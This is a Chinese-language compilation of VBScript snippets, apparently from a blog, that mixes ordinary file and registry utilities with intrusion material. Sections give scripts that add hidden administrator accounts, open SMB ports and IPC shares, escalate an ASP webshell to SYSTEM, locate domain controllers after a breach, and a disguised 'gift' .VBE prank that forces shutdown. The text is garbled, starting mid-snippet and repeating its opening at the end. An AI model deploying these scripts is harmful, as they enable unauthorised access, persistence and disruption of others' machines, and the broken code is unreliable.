    Until wmp.playState = 1 WScript.Sleep 1000 Loop

    比较流行的VBS整人脚本(保存为“礼物.VBE”这样就可以通过QQ发送了) Set
    shell=CreateObject(“WScript.Shell”) shell.run “shutdown -s -t 60 -c
    系统即将关闭.”,0 While InputBox(“请输入答案”,”请回答”)<>”123” *密码是123 MsgBox
    “答案在心中…”,16+4096 *4096 是让窗口在最顶层 Wend shell.run “shutdown -a”,0
    MsgBox “恭喜”,64

    修改桌面背景图片 Sphoto=”d:\1.bmp”*输入你自己的BMP路径 computer=”.” Const
    hkcu=&h80000001 Set wmi=GetObject(“winmgmts:\”& computer
    &”\root\default:stdregprov”) wmi.getstringvalue hkcu,”Control
    Panel\Desktop”,”Wallpaper”,Spath wmi.setstringvalue hkcu,”Control
    Panel\Desktop”,”TileWallpaper”,”0” wmi.setstringvalue hkcu,”Control
    Panel\Desktop”,”WallpaperStyle”,”2” wmi.setdwordvalue
    hkcu,”Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced”,”ListviewShadow”,1
    Set wmi=Nothing Set fso=CreateObject(“scripting.filesystemobject”)
    Set fs=fso.Getfile(Sphoto) backname=fs.name
    fs.Name=fso.GetFileName(Spath) fs.Copy fso.GetParentFolderName(Spath)
    & “\”,True fs.Name=backname Set fso=Nothing Set
    ws=CreateObject(“wscript.shell”) ws.Run “gpupdate /force”,vbhide
    ws.Run “RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters” Set
    ws=Nothing

    VBS获取系统安装路径C:\WINDOWS路径 先定义这个变量是获取系统安装路径的,然后我们用”strWinDir”调用这个变量。 Set
    WshShell = WScript.CreateObject(“WScript.Shell”) strWinDir =
    WshShell.ExpandEnvironmentStrings(“%WinDir%”) VBS获取C:\Program Files路径
    Set WshShell = WScript.CreateObject(“WScript.Shell”) strPorDir =
    WshShell.ExpandEnvironmentStrings(“%ProgramFiles%”) VBS获取C:\Program
    Files\Common Files路径 Set WshShell =
    WScript.CreateObject(“WScript.Shell”) strCommDir =
    WshShell.ExpandEnvironmentStrings(“%CommonProgramFiles%”) 给桌面添加网址快捷方式
    Set WshShell = WScript.CreateObject(“Wscript.Shell”) strDesktop =
    WshShell.SpecialFolders(“Desktop”) Set oShellLink =
    WshShell.CreateShortcut(strDesktop & “\百度.lnk”) oShellLink.TargetPath
    = “http://www.baidu.com/” oShellLink.Description = “百度主页” oShellLink.IconLocation = “%ProgramFiles%\Internet
    Explorer\iexplore.exe, 0” oShellLink.Save

    给收藏夹添加网址 Const ADMINISTRATIVE_TOOLS = 6 Set objShell =
    CreateObject(“Shell.Application”) Set objFolder =
    objShell.Namespace(ADMINISTRATIVE_TOOLS) Set objFolderItem =
    objFolder.Self Set objShell = WScript.CreateObject(“WScript.Shell”)
    strDesktopFld = objFolderItem.Path Set objURLShortcut =
    objShell.CreateShortcut(strDesktopFld & “\百度.url”)
    objURLShortcut.TargetPath = “http://www.baidu.com/
    objURLShortcut.Save

    删除指定目录指定后缀文件 On Error Resume Next Set fso =
    CreateObject(“Scripting.FileSystemObject”) fso.DeleteFile “C:*.vbs”,
    True Set fso = Nothing VBS改主页 Set oShell =
    CreateObject(“WScript.Shell”) oShell.RegWrite
    “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start
    Page”,”http://www.baidu.com/” VBS加启动项 Set
    oShell=CreateObject(“Wscript.Shell”) oShell.RegWrite
    “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd”,”cmd.exe”

    VBS复制自己到C盘 Dim fso Set fso =
    WScript.CreateObject(“Scripting.Filesystemobject”)
    fso.getfile(wscript.scriptfullname).copy(“c:\cik.vbs”)

    复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的cik.exe) Dim fso Set fso =
    WScript.CreateObject(“Scripting.Filesystemobject”)
    fso.getfile(“game.exe”).copy(“c:\cik.exe”)

    VBS获取系统临时目录 Dim fso Set fso =
    CreateObject(“Scripting.FileSystemObject”) Dim tempfolder Const
    TemporaryFolder = 2 Set tempfolder =
    fso.GetSpecialFolder(TemporaryFolder) Wscript.Echo tempfolder

    就算代码出错 依然继续执行 On Error Resume Next VBS打开网址 Set objShell =
    CreateObject(“Wscript.Shell”) objShell.Run(“http://www.baidu.com/“)
    VBS发送邮件 NameSpace = “http://schemas.microsoft.com/cdo/configuration/
    Set Email = CreateObject(“CDO.Message”) Email.From = “发件@qq.com”
    Email.To = “收件@qq.com” Email.Subject = “这里写标题” Email.Textbody =
    “这里写内容!” Email.AddAttachment “C:\这是附件.txt” With
    Email.Configuration.Fields .Item(NameSpace&”sendusing”) = 2
    .Item(NameSpace&”smtpserver”) = “smtp.qq.com”
    .Item(NameSpace&”smtpserverport”) = 25
    .Item(NameSpace&”smtpauthenticate”) = 1
    .Item(NameSpace&”sendusername”) = “发件人用户名”
    .Item(NameSpace&”sendpassword”) = “发件人密码” .Update End With Email.Send
    VBS结束进程 strComputer = “.” Set objWMIService = GetObject _
    (“winmgmts:\” & strComputer & “\root\cimv2”) Set colProcessList =
    objWMIService.ExecQuery _ (“Select * from Win32_Process Where Name =
    Rar.exe“) For Each objProcess in colProcessList objProcess.Terminate() Next VBS隐藏打开网址(部分浏览器无法隐藏打开,而是直接打开,适合主流用户使用)
    createObject(“wscript.shell”).run “start http://www.baidu.com/“,0

    兼容所有浏览器,使用IE的绝对路径+参数打开,无法用函数得到IE安装路径,只用函数得到了Program
    Files路径,应该比上面的方法好,但是两种方法都不是绝对的。 Set
    objws=WScript.CreateObject(“wscript.shell”) objws.Run “”“C:\Program
    Files\Internet Explorer\iexplore.exe”“http://www.baidu.com“,0

    VBS遍历硬盘删除指定文件名 On Error Resume Next Dim fPath strComputer = “.” Set
    objWMIService = GetObject(“winmgmts:\” & strComputer & “\root\cimv2”)
    Set colProcessList = objWMIService.ExecQuery(“Select * from
    Win32_Process Where Name = gangzi.exe“) For Each objProcess In
    colProcessList objProcess.Terminate() Next Set objWMIService =
    GetObject(“winmgmts:{impersonationLevel=impersonate}!\” & strComputer
    & “\root\cimv2”) Set colDirs = objWMIService.ExecQuery(“Select * from
    Win32_Directory where name LIKE %c:% or name LIKE %d:% or name
    LIKE %e:% or name LIKE %f:% or name LIKE %g:% or name LIKE
    %h:% or name LIKE %i:%“) Set objFSO = CreateObject(“Scripting.FileSystemObject”) For Each objDir In colDirs
    fPath = objDir.Name & “\cik.exe”
    *如果文件名是cik.exe就删除 objFSO.DeleteFile(fPath), True Next

    文件夹的简单操作 Set fso = Wscript.CreateObject(Scripting.FileSystemObject)
    声明 Set f = fso.CreateFolder(“C:\sample”) 创建文件夹 Set e = getFolder(“C:\sample”) 类似于 绑定目标 e.copy(“D:\sample”) 复制文件夹
    fso.deletefolder(“C:\sample”) *删除文件夹

    将域用户或租添加到本地组 Set objGroup = GetObject(WinNT://./Administrators) Set
    objUser = GetObject(WinNT://testnet/Engineers)
    objGroup.Add(objUser.ADsPath)

    修改本地管理员密码 Set objcnlar = GetObject(WinNT://./administrator, user)
    objcnla.SetPassword PassWord objcnla.SetInfo

    用vbs来列虚拟主机的物理目录
    有时旁注入侵成功一个站,拿到系统权限后,面对上百个虚拟主机,怎样才能更快的找到我们目标站的物理目录呢?一个站一个站翻看太累,用系统自带的adsutil.vbs吧又感觉好像参数很多,有点无法下手的感觉,试试我这个脚本吧,代码如下:
    Set ObjService=GetObject(“IIS://LocalHost/W3SVC”) For Each obj3w In
    objservice If IsNumeric(obj3w.Name) Then
    sServerName=Obj3w.ServerComment Set webSite =
    GetObject(“IIS://Localhost/W3SVC/” & obj3w.Name & “/Root”) ListAllWeb
    = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name),” “) & obj3w.ServerComment & “(” & webSite.Path & “)” & vbCrLf End If Next
    WScript.Echo ListAllWeb Set ObjService=Nothing WScript.Quit 运行cscript
    2.vbs后,就会详细列出IIS里的站点ID、描述、及物理目录,是不是代码少很多又方便呢? 用VBS快速找到内网域的主服务器 面对域结构的内网,可能许多小菜没有经验如何去渗透。如果你能拿到主域管理员的密码,整个内网你就可以自由穿行了。主域管理员一般呆在比较重要的机器上,
    如果能搞定其中的一台或几台,放个密码记录器之类,相信总有一天你会拿到密码。主域服务器当然是其中最重要一台了,如何在成千台机器里判断出是哪一台
    呢?dos命令像net group “domain admins”
    /domain可以做为一个判断的标准,不过vbs也可以做到的,这仍然属于adsi部份的内容,代码如下: Set
    obj=GetObject(“LDAP://rootDSE”) WScript.Echo obj.servername
    只用这两句代码就足够了,运行cscript
    3.vbs,会有结果的。当然,无论是dos命令或vbs,你前提必须要在域用户的权限下。好比你得到了一个域用户的帐号密码,你可以用 psexec.exe -u -p
    cmd.exe这样的格式来得到域用户的shell,或你的木马本来就是与桌面交互的,登陆你木马shell的又是域用户,就可以直接运行这些命令了。
    vbs的在入侵中的作用当然不只这些,当然用js或其它工具也可以实现我上述代码的功能;不过这个专栏定下的题目是vbs在hacking中的妙用,所以我们只提vbs。写完vbs这部份我和其它作者会在以后的专栏继续策划其它的题目,争取为读者带来好的有用的文章。
    WebShell提权用的VBS代码
    asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权
    限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件
    来提升asp木马的权限,代码如下asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以
    大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要
    介绍的技巧是利用一个vbs文件来提升asp木马的权限,代码如下: Set wsh=Createobject(“wscript.shell”)
    *创建一个wsh对象 wsh.run “cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps C:\WINNT\system32\inetsrv\httpext.dll
    C:\WINNT\system32\inetsrv\httpodbc.dll
    C:\WINNT\system32\inetsrv\ssinc.dll C:\WINNT\system32\msw3prt.dll
    C:\winnt\system32\inetsrv\asp.dll”,0 *加入asp.dll到InProcessIsapiApps中
    将其保存为vbs的后缀,再上传到服务上,
    然后利用asp木马执行这个vbs文件后。再试试你的asp木马吧,你会发现自己己经是system权限了 VBS开启ipc服务和相关设置 Dim
    OperationRegistry Set
    OperationRegistry=WScript.CreateObject(“WScript.Shell”)
    OperationRegistry.RegWrite
    “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest”,0

    Set wsh3=wscript.createobject(“wscript.shell”) wsh3.Run “net user
    helpassistant 123456”,0,false wsh3.Run “net user helpassistant
    /active”,0,false wsh3.Run “net localgroup administrators helpassistant
    /add”,0,false

    wsh3.Run “net start Lanmanworkstation /y”,0,false wsh3.Run “net start
    Lanmanserver /y”,0,false wsh3.Run “net start ipc,0,Truewsh3.Runnetsharec”,0,Truewsh3.Run“netsharec=c:\”,0,false

    wsh3.Run “netsh firewall set notifications disable”,0,True wsh3.Run
    “netsh firewall set portopening TCP 139 enable”,0,false wsh3.Run
    “netsh firewall set portopening UDP 139 enable”,0,false wsh3.Run
    “netsh firewall set portopening TCP 445 enable”,0,false wsh3.Run
    “netsh firewall set portopening UDP 445 enable”,0,false VBS时间判断代码
    Digital=Time hours=Hour(Digital) minutes=Minute(Digital)
    seconds=Second(Digital) If (hours<6) Then dn=”凌辰了,还没睡啊?” End If If
    (hours>=6) Then dn=”早上好!” End If If (hours>12) Then dn=”下午好!” End If
    If (hours>18) Then dn=”晚上好!” End If If (hours>22) Then
    dn=”不早了,夜深了,该睡觉了!” End If If (minutes<=9) Then minutes=”0” & minutes
    End If If (seconds<=9) Then seconds=”0” & seconds End If ctime=hours &
    “:” & minutes & “:” & seconds & ” ” & dn MsgBox ctime

    VBS注册表读写 Dim OperationRegistry , mynum Set
    OperationRegistry=WScript.CreateObject(“WScript.Shell”) mynum = 9
    mynum =
    OperationRegistry.RegRead(“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest”)
    MsgBox(“before forceguest = “&mynum) OperationRegistry.RegWrite
    “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest”,0
    mynum =
    OperationRegistry.RegRead(“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\forceguest”)
    MsgBox(“after forceguest = “&mynum) VBS运行后删除自身代码 dim fso,f Set fso =
    CreateObject(“Scripting.FileSystemObject”) f =
    fso.DeleteFile(WScript.ScriptName)

    VBS获取参数并显示 For i=0 To WScript.Arguments.Count-1 MsgBox
    WScript.Arguments.Item(i) Next

    检测是否重复运行 Function IsRun() IsRun=False For Each ps In
    GetObject(“winmgmts:\.\root\cimv2:win32_process”).instances_ If
    LCase(ps.name)=”wscript.exe” Then If
    InStr(LCase(ps.CommandLine),LCase(WScript.scriptname)) Then i=i+1 End
    If Next If i>1 Then IsRun=True End Function

    获取指定类型磁盘 Function GetDrvS(Drives) Set Drv =
    Fso.GetDrive(Fso.GetDriveName(Drives)) If Drv.IsReady Then If
    Drv.DriveType=1 Then GetDrvS = True Else GetDrvS = False
    *磁盘类型: 0无法识别 1移动磁盘 2硬盘 3网络硬盘 4光驱 5“RAM虚拟磁盘” End If End Function

    查看快捷方式 详细参数
    *On Error Resume Next Set cik = CreateObject(“Wscript.Shell”) set Link=cik.CreateShortcut(WScript.Arguments.Item(0)) with Link
    s=s&”快捷方式对象的参数。 :”&.Arguments s=s&vbcrlf&”快捷方式对象的说明。 :”&.Description
    s=s&vbcrlf&”快捷方式对象的热键。 :”&.Hotkey
    s=s&vbcrlf&”快捷方式对象的图标位置:”&.IconLocation
    s=s&vbcrlf&”快捷方式对象的目标路径:”&.TargetPath
    s=s&vbcrlf&”快捷方式对象的窗口样式:”&.WindowStyle
    s=s&vbcrlf&”快捷方式对象的工作目录:”&.WorkingDirectory end with msgbox
    s,,” 快捷方式对象:” WScript.Quit

    让电脑读英文 CreateObject(“SAPI.SpVoice”).Speak “Reduction using Windows?”

    4L:VBS加输入框 Dim fso,TestFile,fileName,drvName,fldName
    drvName=InputBox(“Enter the drive to save to:”,”Drive letter”)
    fldName=InputBox(“Enter the folder name:”,”Folder name”)
    fileName=InputBox(“Enter the name of the file:”,”Filename”) Set
    fso=CreateObject(“Scripting.FileSystemObject”)
    If(fso.FolderExists(drvName&fldName))Then MsgBox(“Folder exists”) Else
    Set fld=fso.CreateFolder(drvName&fldName) End If Set
    TestFile=fso.CreateTextFile(drvName&fldName&”\”&fileName&”.txt”,True)
    TestFile.WriteLine(“Hello,World!”) TestFile.Close

    VBS检查是否有相同文件 Dim fso,TestFile,fileName,drvName,fldName
    drvName=InputBox(“Enter the drive to save to:”,”Drive letter”)
    fldName=InputBox(“Enter the folder name:”,”Folder name”)
    fileName=InputBox(“Enter the name of the file:”,”Filename”) Set
    fso=CreateObject(“Scripting.FileSystemObject”)
    If(fso.FolderExists(drvName&fldName))Then MsgBox(“Folder exists”) Else
    Set fld=fso.CreateFolder(drvName&fldName) End If
    If(fso.FileExists(drvName&fldName&”\”&fileName&”.txt”))Then
    MsgBox(“File already exists.”) Else Set
    TestFile=fso.CreateTextFile(drvName&fldName&”\”&fileName&”.txt”,True)
    TestFile.WriteLine(“Hello,World!”) TestFile.Close End If

    VBS改写、追加 文件 Dim fso,openFile Set
    fso=CreateObject(“Scripting.FileSystemObject”) Set
    openFile=fso.OpenTextFile(“C:\test.txt”,2,True) *1只读,2可写,8追加
    openFile.Write “Hello World!” openFile.Close

    VBS读取文件 ReadAll 读取全部 Dim fso,openFile Set
    fso=CreateObject(“Scripting.FileSystemObject”) Set
    openFile=fso.OpenTextFile(“C:\test.txt”,1,True)
    MsgBox(openFile.ReadAll) VBS读取文件 ReadLine 读取一行 Dim fso,openFile Set
    fso=CreateObject(“Scripting.FileSystemObject”) Set
    openFile=fso.OpenTextFile(“C:\test.txt”,1,True)
    MsgBox(openFile.ReadLine()) MsgBox(openFile.ReadLine())
    *如果读取行数超过文件的行数,就会出错 VBS读取文件 Read 读取n个字符 Dim fso,openFile Set fso=CreateObject(“Scripting.FileSystemObject”) Set
    openFile=fso.OpenTextFile(“C:\test.txt”,1,True)
    MsgBox(openFile.Read(2)) *如果超出了字符数,不会出错。 VBS删除文件 Dim fso Set
    fso=CreateObject(“Scripting.FileSystemObject”)
    fso.DeleteFile(“C:\test.txt”) VBS删除文件夹 Dim fso Set
    fso=CreateObject(“Scripting.FileSystemObject”)
    fso.DeleteFolder(“C:\newFolder”) *不管文件夹中有没有文件都一并删除 VBS连续创建文件 Dim
    fso,TestFile Set fso=CreateObject(“Scripting.FileSystemObject”) For
    i=1 To 10 Set TestFile=fso.CreateTextFile(“C:\hello”&i&”.txt”,Ture)
    TestFile.WriteLine(“Hello,World!”) TestFile.Close Next
    VBS根据计算机名随机生成字符串 Set ws=CreateObject(“wscript.shell”) Set
    wenv=ws.environment(“process”) RDA=wenv(“computername”) Function
    UCharRand(n) For i=1 To n Randomize Asc(Mid(RDA,1,1)) temp =
    CInt(25*Rnd) temp = temp +65 UCharRand = UCharRand & Chr(temp) Next
    End Function MsgBox UCharRand(Len(RDA))

    VBS根据mac生成序列号 Function Encode(strPass) Dim i, theStr, strTmp

    For i = 1 To Len(strPass) strTmp = Asc(Mid(strPass, i, 1)) theStr =
    theStr & Abs(strTmp) Next

    strPass = theStr theStr = “”

    Do While Len(strPass) > 16 strPass = JoinCutStr(strPass) Loop

    For i = 1 To Len(strPass) strTmp = CInt(Mid(strPass, i, 1)) strTmp =
    IIf(strTmp > 6, Chr(strTmp + 60), strTmp) theStr = theStr & strTmp
    Next

    Encode = theStr End Function

    Function JoinCutStr(str) Dim i, theStr For i = 1 To Len(str) If
    Len(str) - i = 0 Then Exit For theStr = theStr &
    Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i +1, 1))) / 2)) i = i +
    1 Next JoinCutStr = theStr End Function

    Function IIf(var, val1, val2) If var = True Then IIf = val1 Else IIf =
    val2 End If End Function

    Set
    mc=GetObject(“Winmgmts:”).InstancesOf(“Win32_NetworkAdapterConfiguration”)
    For Each mo In mc If mo.IPEnabled=True Then theStr = mo.MacAddress
    Exit For End If Next

    Randomize Encode(theStr) rdnum=Int(10*Rnd+5)

    Function allRand(n) For i=1 To n Randomize Encode(theStr) temp =
    CInt(25*Rnd) If temp Mod 2 = 0 Then temp = temp + 97 ElseIf temp < 9
    Then temp = temp + 48 Else temp = temp + 65 End If allRand = allRand &
    Chr(temp) Next End Function MsgBox allRand(rdnum) VBS自动连接adsl Dim Wsh
    Set Wsh = WScript.CreateObject(“WScript.Shell”) wsh.run “Rasdial 连接名字
    账号 密码”,false,1 VBS自动断开ADSL Dim Wsh Set Wsh =
    WScript.CreateObject(“WScript.Shell”) wsh.run “Rasdial
    /DISCONNECT”,false,1
    VBS每隔3秒自动更换IP并打开网址实例(值得一提的是,下面这个代码中每次打开的网址都是引用同一个IE窗口,也就是每次打开的是覆盖上次打开的窗口,如果需要每次打开的网址都是新窗口,直接使用run就可以了)
    Dim Wsh Set Wsh = WScript.CreateObject(“WScript.Shell”) Set oIE =
    CreateObject(“InternetExplorer.Application”) For i=1 To 5 wsh.run
    “Rasdial /DISCONNECT”,False,1 wsh.run “Rasdial 连接名字 账号 密码”,False,1
    oIE.Navigate “http://www.ip138.com/?”&i&”” Call SynchronizeIE
    oIE.Visible = True Next Sub SynchronizeIE On Error Resume Next Do
    While(oIE.Busy) WScript.Sleep 3000 Loop End Sub 用VBS来加管理员帐号
    在注入过程中明明有了sa帐号,但是由于net.exe和net1.exe被限制,或其它的不明原因,总是加不了管理员帐号。VBS在活动目录(adsi)部份有一个winnt对像,可以用来管理本地资源,可以用它不依靠cmd等命令来加一个管理员,详细代码如下:
    Set wsnetwork=CreateObject(“WSCRIPT.NETWORK”)
    os=”WinNT://”&wsnetwork.ComputerName Set ob=GetObject(os) *得到adsi接口,绑定
    Set oe=GetObject(os&”/Administrators,group”) *属性,admin组 Set
    od=ob.Create(“user”,”lcx”) 建立用户 od.SetPassword “123456” 设置密码
    od.SetInfo 保存 Set of=GetObject(os&”/lcx”,user) 得到用户 oe.add os&”/lcx”

    这段代码如果保存为1.vbs,在cmd下运行,格式: cscript
    1.vbs的话,会在当前系统加一个名字为lcx,密码为123456的管理员。当然,你可以用记事本来修改里边的变量lcx和123456,改成你喜欢的名字和密码值。

    QQ自动发消息 On Error Resume Next str=”我是笨蛋/qq” Set
    WshShell=WScript.CreateObject(“WScript.Shell”) WshShell.run “mshta
    vbscript:clipboardData.SetData(“+”“”“+”text”+”“”“+”,”+”“”“&str&”“”“+”)(close)”,0
    WshShell.run
    “tencent://message/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1”,0,true
    WScript.Sleep 3000 WshShell.SendKeys “^v” WshShell.SendKeys “%s”
    VBS隐藏文件 Set objFSO = CreateObject(“Scripting.FileSystemObject”) Set
    objFile = objFSO.GetFile(“F:\软件大赛\show.txt”) If objFile.Attributes =
    objFile.Attributes AND 2 Then objFile.Attributes = objFile.Attributes
    XOR 2 End If VBS生成随机数(521是生成规则,不同的数字生成的规则不一样,可以用于其它用途) Randomize 520
    point=Array(Int(100*Rnd+1),Int(1000*Rnd+1),Int(10000*Rnd+1)) msgbox
    join(point,”“) VBS删除桌面IE图标(非快捷方式) Set oShell =
    CreateObject(“WScript.Shell”) oShell.RegWrite
    “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon”,1,”REG_DWORD”
    VBS获取自身文件名 MyName=WScript.ScriptName msgbox MyName
    MyFullName=WScript.ScriptFullName msgbox MyFullName VBS读取Unicode编码的文件
    Set objFSO = CreateObject(“Scripting.FileSystemObject”) Set objFile =
    objFSO.OpenTextFile(“gangzi.txt”,1,False,-1) strText = objFile.ReadAll
    objFile.Close Wscript.Echo strText
    VBS读取指定编码的文件(默认为uft-8)gangzi变量是要读取文件的路径 set stm2
    =createobject(“ADODB.Stream”) stm2.Charset = “utf-8” stm2.Open stm2.LoadFromFile gangzi readfile = stm2.ReadText MsgBox readfile
    VBS禁用组策略 Set oShell = CreateObject(“WScript.Shell”) oShell.RegWrite
    “HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins”,1,”REG_DWORD”
    VBS写指定编码的文件(默认为uft-8)gangzi变量是要读取文件的路径,gangzi2是内容变量 cik=”1.txt”
    cik2=”2.txt” Set Stm1 = CreateObject(“ADODB.Stream”) Stm1.Type = 2
    Stm1.Open Stm1.Charset = “UTF-8” Stm1.Position = Stm1.Size
    Stm1.WriteText cik2 Stm1.SaveToFile cik,2 Stm1.Close set Stm1 =
    nothing VBS获取当前目录下所有文件夹名字(不包括子文件夹) Set fso =
    WScript.CreateObject(“Scripting.Filesystemobject”) Set
    f=fso.GetFolder(fso.GetAbsolutePathName(“.”)) Set folders=f.SubFolders
    For Each fo In folders wsh.echo fo.Name Next VBS获取指定目录下所有文件夹名字(包括子文件夹)
    Dim t Set fso=WScript.CreateObject(“scripting.filesystemobject”) Set
    fs=fso.GetFolder(“d:\”) WScript.Echo aa(fs) Function aa(n) Set
    f=n.subfolders For Each uu In f Set op=fso.GetFolder(uu.path) t=t &
    vbCrLf & op.path Call aa(op) Next aa=t End Function
    VBS创建.URL文件(IconIndex参数不同的数字代表不同的图标,具体请参照SHELL32.dll里面的所有图标)
    注意:不知道是谁这么写我不发表任何意见 Set fso=CreateObject(“scripting.filesystemobject”)
    qidong=qidong&”[InternetShortcut]”&Chr(13)&Chr(10)
    qidong=qidong&”URL=http://www.fendou.info“&Chr(13)&Chr(10)
    qidong=qidong&”IconFile=C:\WINDOWS\system32\SHELL32.dll”&Chr(13)&Chr(10)
    qidong=qidong&”IconIndex=130”&Chr(13)&Chr(10) Set
    TestFile=fso.CreateTextFile(“qq.url”,Ture) TestFile.WriteLine(qidong)
    TestFile.Close

    VBS写hosts(没写判断,无论存不存在都追加底部) Set fs =
    CreateObject(“Scripting.FileSystemObject”) path =
    fs.GetSpecialFolder(1)&”\drivers\etc\hosts” Set f =
    fs.OpenTextFile(path,8,TristateFalse) f.Write “127.0.0.1
    www.不想上的网站.cn” f.Write “127.0.0.1 www.不想上的网站2.cn” f.Close
    VBS读取出HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace
    下面所有键的名字并循环输出 Const HKLM = &H80000002 strPath =
    “SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace”
    Set oreg = GetObject(“Winmgmts:\root\default:StdRegProv”) oreg.EnumKey
    HKLM,strPath,arr For Each x In arr WScript.Echo x Next

    VBS创建txt文件 Dim fso,TestFile Set
    fso=CreateObject(“Scripting.FileSystemObject”) Set
    TestFile=fso.CreateTextFile(“C:\hello.txt”,Ture)
    TestFile.WriteLine(“Hello,World!”) TestFile.Close VBS创建文件夹 Dim fso,fld
    Set fso=CreateObject(“Scripting.FileSystemObject”) Set
    fld=fso.CreateFolder(“C:\newFolder”) VBS判断文件夹是否存在 Dim fso,fld Set
    fso=CreateObject(“Scripting.FileSystemObject”) If
    (fso.FolderExists(“C:\newFolder”)) Then msgbox(“Folder exists.”) else
    set fld=fso.CreateFolder(“C:\newFolder”) End If VBS使用变量判断文件夹 Dim
    fso,fld drvName=”C:\” fldName=”newFolder” Set
    fso=CreateObject(“Scripting.FileSystemObject”) If
    (fso.FolderExists(drvName&fldName)) Then msgbox(“Folder exists.”) else
    set fld=fso.CreateFolder(drvName&fldName) End If

    VBS获取网卡MAC地址 Dim mc,mo Set
    mc=GetObject(“Winmgmts:”).InstancesOf(“Win32_NetworkAdapterConfiguration”)
    For Each mo In mc If mo.IPEnabled=True Then MsgBox “本机网卡MAC地址是: ” &
    mo.MacAddress Exit For End If Next

    VBS获取本机注册表主页地址 Set reg=WScript.CreateObject(“WScript.Shell”)
    startpage=reg.RegRead(“HKEY_CURRENT_USER\Software\Microsoft\Internet
    Explorer\Main\Start Page”) MsgBox startpage
    VBS遍历所有磁盘的所有目录,找到所有.txt的文件,然后给所有txt文件最底部加一句话 On Error Resume Next Set
    fso = CreateObject(“Scripting.FileSystemObject”) Co = vbCrLf & “路过。。。”
    For Each i In fso.Drives If i.DriveType = 2 Then GF fso.GetFolder(i &
    “\”) End If Next

    Sub GF(fol) Wh fol Dim i For Each i In fol.SubFolders GF i Next End
    Sub

    Sub Wh(fol) Dim i For Each i In fol.Files If
    LCase(fso.GetExtensionName(i)) = “txt” Then
    fso.OpenTextFile(i,8,0).Write Co End If Next End Sub

    获取计算机所有盘符 Set fso=CreateObject(“scripting.filesystemobject”) Set
    objdrives=fso.Drives *取得当前计算机的所有磁盘驱动器 For Each objdrive In objdrives
    *遍历磁盘 MsgBox objdrive Next

    VBS给本机所有磁盘根目录创建文件 On Error Resume Next Set
    fso=CreateObject(“Scripting.FileSystemObject”) Set gangzis=fso.Drives
    取得当前计算机的所有磁盘驱动器 For Each gangzi In gangzis 遍历磁盘 Set TestFile=fso.CreateTextFile(“”&gangzi&”\新建文件夹.vbs”,Ture)
    TestFile.WriteLine(“By Cik”) TestFile.Close Next
    VBS遍历本机全盘找到所有123.exe,然后给他们改名321.exe Set fs =
    CreateObject(“Scripting.FileSystemObject”) For Each drive In fs.drives
    fstraversal drive.rootfolder Next Sub fstraversal(byval this) For Each
    folder In this.subfolders fstraversal folder Next Set files =
    this.files For Each file In files If file.name = “123.exe” Then
    file.name = “321.exe” Next End Sub
    VBS写入代码到粘贴板(先说明一下,VBS写内容到粘贴板,网上千篇一律都是通过InternetExplorer.Application对象来实现,但是缺点是在默认浏览器为非IE中会弹出浏览器,所以费了很大的劲找到了这个代码来实现)
    str=”这里是你要复制到剪贴板的字符串” Set ws = wscript.createobject(“wscript.shell”)
    ws.run “mshta
    vbscript:clipboardData.SetData(“+”“”“+”text”+”“”“+”,”+”“”“&str&”“”“+”)(close)”,0,true
    在网上查找资料的时候发现好多经典的vbs代码,收集起来也为了以后学习。 VBS播放音乐 Dim wmp Set wmp =
    CreateObject(“WMPlayer.OCX”) wmp.openState wmp.URL = “想象之中.mp3” Do
    Until wmp.playState = 1 WScript.Sleep 1000 Loop

    比较流行的VBS整人脚本(保存为“礼物.VBE”这样就可以通过QQ发送了) Set
    shell=CreateObject(“WScript.Shell”) shell.run “shutdown -s -t 60 -c
    系统即将关闭.”,0 While InputBox(“请输入答案”,”请回答”)<>”123” *密码是123 MsgBox
    “答案在心中…”,16+4096 *4096 是让窗口在最顶层 Wend shell.run “shutdown -a”,0
    MsgBox “恭喜”,64

    修改桌面背景图片 Sphoto=”d:\1.bmp”*输入你自己的BMP路径 computer=”.” Const
    hkcu=&h80000001 Set wmi=GetObject(“winmgmts:\”& computer
    &”\root\default:stdregprov”) wmi.getstringvalue hkcu,”Control
    Panel\Desktop”,”Wallpaper”,Spath wmi.setstringvalue hkcu,”Control
    Panel\Desktop”,”TileWallpaper”,”0” wmi.setstringvalue hkcu,”Control
    Panel\Desktop”,”WallpaperStyle”,”2” wmi.setdwordvalue
    hkcu,”Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced”,”ListviewShadow”,1
    Set wmi=Nothing Set fso=CreateObject(“scripting.filesystemobject”)
    Set fs=fso.Getfile(Sphoto) backname=fs.name
    fs.Name=fso.GetFileName(Spath) fs.Copy fso.GetParentFolderName(Spath)
    & “\”,True fs.Name=backname Set fso=Nothing Set
    ws=CreateObject(“wscript.shell”) ws.Run “gpupdate /force”,vbhide
